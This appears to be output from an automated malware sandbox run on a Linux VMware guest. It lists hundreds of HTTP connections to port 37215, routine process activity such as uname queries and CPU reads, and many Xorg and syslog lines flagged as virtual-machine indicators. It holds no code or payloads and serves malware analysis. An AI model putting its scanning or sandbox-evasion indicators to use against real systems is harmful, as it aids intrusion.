Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51268 -> 37215

Source: /usr/bin/gpu-manager (PID: 5664)	Truncated file: /var/log/gpu-manager.log			Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Truncated file: /var/log/Xorg.pid-5787.log			Jump to behavior

Source: /usr/bin/pulseaudio (PID: 5584)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5685)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5806)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5824)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5833)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/gnome-shell (PID: 5863)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 6068)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: /lib/systemd/systemd-journald (PID: 5497)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/pulseaudio (PID: 5584)	Queries kernel information via 'uname':	Jump to behavior
Source: /sbin/agetty (PID: 5655)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/sbin/rsyslogd (PID: 5659)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gpu-manager (PID: 5664)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5717)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5730)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/gdm3/gdm-session-worker (PID: 5778)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/gdm3/gdm-x-session (PID: 5785)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/libexec/at-spi-bus-launcher (PID: 5818)	Queries kernel information via 'uname':
Source: /usr/libexec/at-spi2-registryd (PID: 6181)	Queries kernel information via 'uname':
Source: /usr/libexec/gnome-session-binary (PID: 5805)	Queries kernel information via 'uname':
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5806)	Queries kernel information via 'uname':
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5824)	Queries kernel information via 'uname':
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5833)	Queries kernel information via 'uname':
Source: /usr/bin/gnome-shell (PID: 5863)	Queries kernel information via 'uname':
Source: /usr/libexec/ibus-x11 (PID: 6020)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-wacom (PID: 6213)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-color (PID: 6215)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-keyboard (PID: 6217)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-smartcard (PID: 6224)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Queries kernel information via 'uname':
Source: /usr/libexec/gsd-power (PID: 6243)	Queries kernel information via 'uname':
Source: /usr/bin/pulseaudio (PID: 6068)	Queries kernel information via 'uname':
Source: /usr/sbin/avahi-daemon (PID: 6190)	Queries kernel information via 'uname':
Source: /usr/lib/packagekit/packagekitd (PID: 6192)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-hostnamed (PID: 6261)	Queries kernel information via 'uname':
Source: /usr/libexec/fprintd (PID: 6434)	Queries kernel information via 'uname':
Source: /usr/libexec/colord-sane (PID: 6746)	Queries kernel information via 'uname':

Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.208] (--) vmware(0): mwidt: 1176
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.285] (--) vmware(0): w.blu: 8
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.489] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "vmwlegacy-default-800x600"x60.0 36.25 800 801 802 1002 600 601 602 603 (36.2 kHz ez)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.794] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Virtual size is 800x600 (pitch 1176)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.684] (II) vmware(0): Not using default mode "15360x8640" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.113] (**) vmware(0): Default mode "1152x864": 121.5 MHz, 77.5 kHz, 85.1 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.666] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.070] (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.760] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.920] (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 188.024] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse0)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Using gamma correction (1.0, 1.0, 1.0)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "512x384i" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.741] (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.252] (II) vmware(0): Not using default mode "1024x576" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "640x480"x85.0 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (43.3 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.762] (II) vmware(0): Not using default mode "720x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.611] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.346] (II) vmware(0): Modeline "640x480"x59.9 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.430] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.282] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.872] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.001] (II) vmware(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.783] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.788] (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.568] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.221] (II) vmware(0): Modeline "1024x576"x59.9 46.50 1024 1064 1160 1296 576 579 584 599 -hsync +vsync (35.9 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1400x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.667] (==) vmware(0): Backing store enabled
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.142] (**) vmware(0): Default mode "1152x864": 105.0 MHz, 67.6 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.651] (II) vmware(0): Not using default mode "15360x8640" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.256] (**) vmware(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.542] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.764] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (*) vmware(0): Driver mode "vmwlegacy-default-800x600": 36.3 MHz, 36.2 kHz, 60.0 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1024x768"x85.0 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (68.7 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.434] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.708] (II) vmware(0): Not using default mode "7680x4320" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.826] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event2)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.704] (II) vmware(0): Not using default mode "680x384" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.306] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.025] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:11 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Creating default Display subsection in Screen section
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.836] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.633] (II) vmware(0): Not using default mode "1920x1440" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.350] (**) vmware(0): Default mode "720x405": 22.5 MHz, 25.1 kHz, 59.5 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.524] (II) vmware(0): Not using default mode "1600x1200" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.341] (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.147] (II) vmware(0): Modeline "1152x864"x75.0 104.99 1152 1224 1352 1552 864 865 868 902 -hsync +vsync (67.6 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.332] (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 81.6 MHz, 53.7 kHz, 60.0 Hz
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.049] (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.175] (--) vmware(0): depth: 24
Source: Xorg.0.log.159.dr	Binary or memory string: [ 187.741] (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 8)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: message repeated 4 times: [ (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)]
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 181.806] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.105] (II) vmware(0): Not using default mode "800x450" (bad mode clock/interlace/doublescan)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event3 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse0)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 177.367] (II) Loading /usr/lib/xorg/modules/drivers/vmware_drv.so
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.318] (II) vmware(0): Modeline "640x480"x85.0 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (43.3 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1024x768i" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.376] (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (--) vmware(0): vis: 4
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:15 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 182.087] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:21 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (**) vmware(0): Default mode "1152x864": 121.5 MHz, 77.5 kHz, 85.1 Hz
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:16 galassia /usr/lib/gdm3/gdm-x-session[5787]: (II) vmware(0): Modeline "1024x768"x60.0 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (48.4 kHz d)
Source: Xorg.0.log.159.dr	Binary or memory string: [ 183.355] (II) vmware(0): Modeline "720x405"x59.5 22.50 720 744 808 896 405 408 413 422 -hsync +vsync (25.1 kHz d)
Source: syslog.50.dr	Binary or memory string: Feb 12 09:54:14 galassia /usr/lib/gdm3/gdm-x-session[5787]: (==) vmware(0): Using HW cursor
